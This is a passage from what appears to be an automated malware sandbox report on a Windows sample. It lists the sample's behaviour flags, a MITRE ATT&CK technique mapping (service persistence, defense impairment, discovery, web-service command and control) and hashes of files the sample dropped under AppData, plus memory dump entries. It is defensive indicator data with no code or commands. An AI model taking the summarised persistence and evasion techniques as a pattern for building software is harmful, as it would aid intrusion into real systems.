  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2384

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
297aedc172a2c02b77cf2f9a6b63ab25

SHA1
8ac7706b604befdc9fc2bc80cdc8f0692da62a37

SHA256
37ec253b60f733f1593790e99c70218cb7601dd460bcee9c00a1fa4c6f3e1966

SHA512
0d69d824f55435c08b8802a6147fff796f70fadf7a89929477b7c6beb99d5ca78366677a4d93e3a1fa5ca976c876528f50d253086b62df2e4e97b4745330d47c

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
a92c835f8b4c0f4816f60da380c5c61e

SHA1
f65407b4428179b25d93e4c575dcc3081ff44b36

SHA256
ad9f6bb6826db55a5cf33309421e513bd52bd69e33b22d700a1ad05e89460b67

SHA512
a1b70c372b115dd5ece36c01dbea9c83d418a7300fce19b6cd140763347497ce0989c2074d0aed6e2742c1ddff45333eec6407f94ba3c417d4cb481327da8b7d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab5256.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar5269.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
a7399c89a08bac681680c7bb5e5decb4

SHA1
914b3bee27a56923a193909bc8fde817c53fb730

SHA256
96e291df1d94d3999360776fea93c9954a57775c770196b05a4971740d72ab2b

SHA512
dfe5cd11ae519dcb3f37e11fb7c527d63e2a049289904fb11f3675290f07fd528a42b457e9b9f9ee9f5b39aacba4b9dd07e3191f78fb27cf6b73f3137b549d3d

Download Submit
C:\Users\Admin\AppData\Roaming\WinRAR\version.dat

Filesize
12B

MD5
94812f878066f4a31d07da1061e85c89

SHA1
0902de53f798ee97500fcb03243f43e1a57058ae

SHA256
d52ab4ee924b32d02ff58a7f5692e0b6782a726efa3f22fd80e1f6a98c563205

SHA512
9b0d7446bb60cf1763b7d15285cfafdec71debd9fd9b6390b10c11bc64e9379b5e6cd8ae1d1f49198149b68a705a348d8866e79f7e04f16a880bb331d5c4f08d

Download Submit
C:\Users\Admin\AppData\Roaming\services\0127871.rar

Filesize
2.9MB

MD5
3ba7655d55f35256e14307d9ab7f560c

SHA1
b5d14e76f894b643860e69f5a2d9308d4b0c1fcb

SHA256
262bc2b98e4579e3c97376b9f8b7c12f56b0cc75519914057a44b8fc580ded6c

SHA512
a73cda3b1d2cbb1cd7f320ee8b31659d2890a958392ef2ce83eacd320357d095680e160bc25efecd82726d541ce38bdc623a4ee75301fbe76e58b96aaab8dc2b

Download Submit
C:\Users\Admin\AppData\Roaming\services\02plugins23208.rar

Filesize
9.6MB

MD5
557b45a8dfe391ada925b428815343a7

SHA1
4cee18d01e3a1e3dfbce90a38b9f2687bdb73e90

SHA256
da6879957bd50c9fb45a0bed227f521f2398f65dc1a31904a494ec764d3759d3

SHA512
42efc37605923263fa5a215c645e56fcc998c4ee5a24e3086911e23ba55f90162ec3be5f908e0ac065c697bd5d3dc4aceb460fa4aa19cea9999db2708ba75bbd

Download Submit
C:\Users\Admin\AppData\Roaming\services\03plugins10863.rar

Filesize
2.9MB

MD5
e8891a8b9d48c36ace38613a3ee58e65

SHA1
45b5010846dc9386c57f6a0f3715af951683b0be

SHA256
64cb56c7af6ec8628a343e0e1d47e52f9353aae5835f243d177577d7a3ccd05c

SHA512
9ec8424ba8d8773d581dd95dc4f70ad9ed529e4640f6061ad8a668966124ee39d734466bf14210d71afdd773c98302e490a47ac89dde1fa6ad1981baf00aa0a4

Download Submit
C:\Users\Admin\AppData\Roaming\services\1\rhjryjyj.exe

Filesize
467KB

MD5
ab2d2914e268ac8754e408bdd6c109cd

SHA1
936a1529158b699ebfaf97e937f17936d321920c

SHA256
0f5978c1e5026feea6e28485ceb99b48105d73a77517faf40c1e57d638a5cdd4

SHA512
c421cb6c41640e1866b891c941151903ad51e04a437b6d90faa6c732f2e98ef4172631453f9a60dcd8c0e4ffd39ec8c13277961c06a4119b10aff91037318fcf

Download Submit
C:\Users\Admin\AppData\Roaming\services\Launhcer.dll

Filesize
3KB

MD5
6cced0a38b185030835bf8857633c159

SHA1
4f1604d5e67894fb6b054f8ac82122fa8ad69ed6

SHA256
f15ae3d7b9d5310f53939148cf8fe58c8078086e934628ad2c3a611a59181e36

SHA512
576c4e937b13050ca408445242db266e43c02dc1ec8ea567994594bd624c276bb20c46b94cf54cfe1ac36091bb4cf9959df1403b4838ab15fa10c75f119e18cc

Download Submit
C:\Users\Admin\AppData\Roaming\services\Launhcer.exe.manifest

Filesize
1KB

MD5
f0fc065f7fd974b42093594a58a4baef

SHA1
dbf28dd15d4aa338014c9e508a880e893c548d00

SHA256
d6e1c130f3c31258b4f6ff2e5d67bb838b65281af397a11d7eb35a7313993693

SHA512
8bd26de4f9b8e7b6fe9c42f44b548121d033f27272f1da4c340f81aa5642adc17bb9b092ece12bb8515460b9c432bf3b3b7b70f87d4beb6c491d3d0dfb5b71fe

Download Submit
C:\Users\Admin\AppData\Roaming\services\data\Launcher.dll

Filesize
6KB

MD5
6e7b8b4200d14198c2a6c2c7617a78db

SHA1
b4d87db35a6cb1630a78e50939317f7c68a5303d

SHA256
91436d2eb99775eef9b6e543c089794f851d750924d3aaede3627623fd0a7f2e

SHA512
72aaa8307509aa26782e3954511f0d6306c9cffce312566b91036f173cd763f2d621f907cc3646cb0c0881ef066b7ec10d784eeb4c47c732812bb3eb3ddeb99d

Download Submit
C:\Users\Admin\AppData\Roaming\services\data\Launcher.exe

Filesize
364KB

MD5
93fde4e38a84c83af842f73b176ab8dc

SHA1
e8c55cc160a0a94e404f544b22e38511b9d71da8

SHA256
fb07af2aead3bdf360f555fc872191e43c2f0acbfc9258435f9a30afe272ba03

SHA512
48720aebe2158b8a58fc3431c2e6f68271fbade51303ad9cb5b0493efaec6053ff0c19a898841ef7c57a3c4d042ac8e7157fb3dc79593c1dfcdcf88e1469fdec

Download Submit
C:\Users\Admin\AppData\Roaming\services\data\Launcher.exe.manifest

Filesize
1KB

MD5
1b6de83d3f1ccabf195a98a2972c366a

SHA1
09f03658306c4078b75fa648d763df9cddd62f23

SHA256
e20486518d09caf6778ed0d60aab51bb3c8b1a498fd4ede3c238ee1823676724

SHA512
e171a7f2431cfe0d3dfbd73e6ea0fc9bd3e5efefc1fbdeff517f74b9d78679913c4a60c57dde75e4a605c288bc2b87b9bb54b0532e67758dfb4a2ac8aea440ce

Download Submit
C:\Users\Admin\AppData\Roaming\services\wget.exe

Filesize
4.9MB

MD5
8c04808e4ba12cb793cf661fbbf6c2a0

SHA1
bdfdb50c5f251628c332042f85e8dd8cf5f650e3

SHA256
a7b656fb7a45f8980784b90b40f4a14d035b9dc15616465a341043736ec53272

SHA512
9619f96c3180ef3d738ecc1f5df7508c3ff8904021065665c8388a484648e135105e1c1585de1577c8b158f9b5bc241e3ff7f92665e9553e846e1b750ddea20f

Download Submit
C:\Users\Admin\AppData\Roaming\services\winrar.exe

Filesize
2.1MB

MD5
f59f4f7bea12dd7c8d44f0a717c21c8e

SHA1
17629ccb3bd555b72a4432876145707613100b3e

SHA256
f150b01c1cbc540c880dc00d812bcca1a8abe1166233227d621408f3e75b57d4

SHA512
44811f9a5f2917ccd56a7f894157fa305b749ca04903eeaeca493864742e459e0ce640c01c804c266283ce8c3e147c8e6b6cfd6c5cb717e2a374e92c32a63b2c

Download Submit
\??\PIPE\srvsvc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\Users\Admin\AppData\Roaming\services\2plugin27724

Filesize
7.2MB

MD5
59dd26d0a0781afb903b222a340a135a

SHA1
dc7eb315e84f9e828376d5421108685d997099aa

SHA256
d782048432be8fe4ce0fbcaaf54724202ac39a293c2a6ae5cda2c7f04aa2c967

SHA512
e4baf948f1023fc04aa9344ed0bde468566a429c4807f584204a6de95113de78dd2faaedad56e064f3023510fe774386a844becd0f9453d53884e31d4b345ed1

Download Submit
\Users\Admin\AppData\Roaming\services\3plugin29563

Filesize
399KB

MD5
5886235e78709ba971a3b4cdfdc336ee

SHA1
856e9688e3e087489d6d4ef02b7317d3cbc1fff7

SHA256
059701aa60117a1adc3c7fbaed00f05e72c97b28bcbd2456805dd6531654d970

SHA512
0699b612c13187f89e71b0008221dddab30c3adaef353c21b40fda72f2487eea874f2475f6e9a9a5a23855f20548dae537fa97fcbeabfc1f266f5219dacdb244

Download Submit
\Users\Admin\AppData\Roaming\services\Launhcer.exe

Filesize
364KB

MD5
e5c00b0bc45281666afd14eef04252b2

SHA1
3b6eecf8250e88169976a5f866d15c60ee66b758

SHA256
542e2ebbded3ef0c43551fb56ce44d4dbb36a507c2a801c0815c79d9f5e0f903

SHA512
2bacd4e1c584565dfd5e06e492b0122860bfc3b0cc1543e6baded490535309834e0d5bb760f65dbfb19a9bb0beddb27a216c605bbed828810a480c8cd1fba387

Download Submit
memory/684-512-0x0000000076FC0000-0x0000000077169000-memory.dmp

Filesize
1.7MB

Download
memory/684-514-0x00000000767B0000-0x00000000767F7000-memory.dmp

Filesize
284KB

Download
memory/684-511-0x0000000002FF0000-0x00000000033F0000-memory.dmp

Filesize
4.0MB

Download
memory/684-510-0x0000000002FF0000-0x00000000033F0000-memory.dmp

Filesize
4.0MB

Download
memory/684-516-0x0000000000400000-0x000000000047E000-memory.dmp

Filesize
504KB

Download
memory/876-543-0x0000000077180000-0x0000000077182000-memory.dmp

Filesize
8KB

Download
memory/876-548-0x0000000140000000-0x0000000140E3D000-memory.dmp

Filesize
14.2MB

Download
memory/876-542-0x0000000077170000-0x0000000077172000-memory.dmp

Filesize
8KB

Download
memory/876-540-0x0000000077170000-0x0000000077172000-memory.dmp

Filesize
8KB

Download
memory/876-538-0x0000000077170000-0x0000000077172000-memory.dmp

Filesize
8KB

Download
memory/876-545-0x0000000077180000-0x0000000077182000-memory.dmp

Filesize
8KB

Download
memory/876-547-0x0000000077180000-0x0000000077182000-memory.dmp

Filesize
8KB

Download
memory/1580-494-0x0000000000400000-0x00000000008F2000-memory.dmp

Filesize
4.9MB

Download
memory/1620-584-0x0000000001D50000-0x0000000001D58000-memory.dmp

Filesize
32KB

Download
memory/1620-583-0x000000001B560000-0x000000001B842000-memory.dmp

Filesize
2.9MB

Download
memory/1772-169-0x0000000000110000-0x0000000000111000-memory.dmp

Filesize
4KB

Download
memory/1856-608-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/1856-611-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/1856-604-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/1856-605-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/1856-606-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/1856-607-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2092-553-0x0000000000400000-0x00000000008F2000-memory.dmp

Filesize
4.9MB

Download
memory/2168-603-0x0000000000400000-0x000000000046F000-memory.dmp

Filesize
444KB

Download
memory/2200-524-0x0000000000400000-0x00000000008F2000-memory.dmp

Filesize
4.9MB

Download
memory/2332-0-0x0000000000120000-0x0000000000121000-memory.dmp

Filesize
4KB

Download
memory/2384-616-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2384-617-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2384-626-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2384-625-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2384-621-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2384-622-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2384-614-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2384-612-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2384-613-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2384-615-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2384-619-0x00000000000D0000-0x00000000000F0000-memory.dmp

Filesize
128KB

Download
memory/2384-623-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2384-624-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2384-618-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2384-620-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2420-515-0x00000000000D0000-0x00000000000D9000-memory.dmp

Filesize
36KB

Download
memory/2420-519-0x0000000076FC0000-0x0000000077169000-memory.dmp

Filesize
1.7MB

Download
memory/2420-518-0x0000000001D00000-0x0000000002100000-memory.dmp

Filesize
4.0MB

Download
memory/2420-521-0x00000000767B0000-0x00000000767F7000-memory.dmp

Filesize
284KB

Download
memory/2628-576-0x0000000000400000-0x000000000046F000-memory.dmp

Filesize
444KB

Download
memory/2688-600-0x0000000140000000-0x0000000140E3D000-memory.dmp

Filesize
14.2MB

Download